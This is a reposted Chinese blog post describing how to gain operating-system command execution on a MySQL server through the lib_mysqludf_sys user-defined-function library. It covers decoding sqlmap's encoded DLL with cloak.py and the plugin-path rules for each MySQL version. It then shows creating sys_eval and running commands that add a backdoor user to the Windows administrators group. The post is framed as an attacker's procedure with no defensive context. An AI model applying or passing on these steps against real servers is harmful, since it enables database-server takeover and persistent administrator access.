欢迎访问 生活随笔!

生活随笔

当前位置: 首页 > 运维知识 > 数据库 >内容正文

数据库

MySQL利用UDF执行命令

发布时间:2024/1/23 数据库 42 豆豆
生活随笔 收集整理的这篇文章主要介绍了 MySQL利用UDF执行命令 小编觉得挺不错的,现在分享给大家,帮大家做个参考.

UDF即User-Defined Functions

 

lib_mysqludf_sys 在github的介绍:

A UDF library with functions to interact with the operating system. These functions allow you to interact with the execution environment in which MySQL runs.

lib_mysqludf_sys的Github地址:https://github.com/mysqludf/lib_mysqludf_sys#readme


自动化注入工具Sqlmap已经集成了此功能。

在 sqlmap\udf\mysql\windows\32目录下存放着lib_mysqludf_sys.dll_

(sqlmap\udf\mysql\windows\64目录下为64位的lib_mysqludf_sys.dll_,但是64位的测试失败)

但是sqlmap 中 自带 的shell 以及一些二进制文件,为了防止被误杀都经过异或方式编码,不能直接使用的。

可以利用sqlmap 自带的解码工具cloak.py
目录 sqlmap\extra\cloak\cloak.py 对 sqlmap\udf\mysql\windows\32\lib_mysqludf_sys.dll_ 解码后,再直接利用

首先进入到 sqlmap\extra\cloak\cloak 目录下,执行命令:

cloak.py -d -i D:\sqlmap\udf\mysql\windows\32\lib_mysqludf_sys.dll_

在 D:\sqlmap\udf\mysql\windows\32\lib_mysqludf_sys.dll_会生成 lib_mysqludf_sys.dll


攻击者可以利用lib_mysqludf_sys提供的函数执行系统命令。

函数:
 

sys_eval, 执行任意命令,并将输出返回。 sys_exec,执行任意命令,并将退出码返回。 sys_get, 获取一个环境变量。 sys_set,创建或修改一个环境变量。

 

目标机以windows为例,MySQL版本为5.6

攻击过程中,首先需要将lib_mysqludf_sys(目标为windows时,lib_mysqludf_sys.dll; linux时,lib_mysqludf_sys.so)上传到数据库能访问的路径下。

然后创建UDF。

lib_mysqludf_sys.dll的导出路径:

MySQL<5.0,导出路径随意;

5.0 <= MySQL<5.1,则需要导出至目标服务器的系统目录(如:system32)

MySQL 5.1以上版本,必须要把udf.dll文件放到MySQL安装目录下的lib\plugin文件夹下才能创建自定义函数。

创建相应的函数:

create function sys_eval returns string soname 'udf.dll';

 

执行命令:

select sys_eval('whoami');

select sys_eval(‘net user fvck fvck /add’);
select sys_eval(‘net localgroup administrators fvck /add’);

创作挑战赛新人创作奖励来咯,坚持创作打卡瓜分现金大奖

总结

以上是生活随笔为你收集整理的MySQL利用UDF执行命令的全部内容,希望文章能够帮你解决所遇到的问题。

如果觉得生活随笔网站内容还不错,欢迎将生活随笔推荐给好友。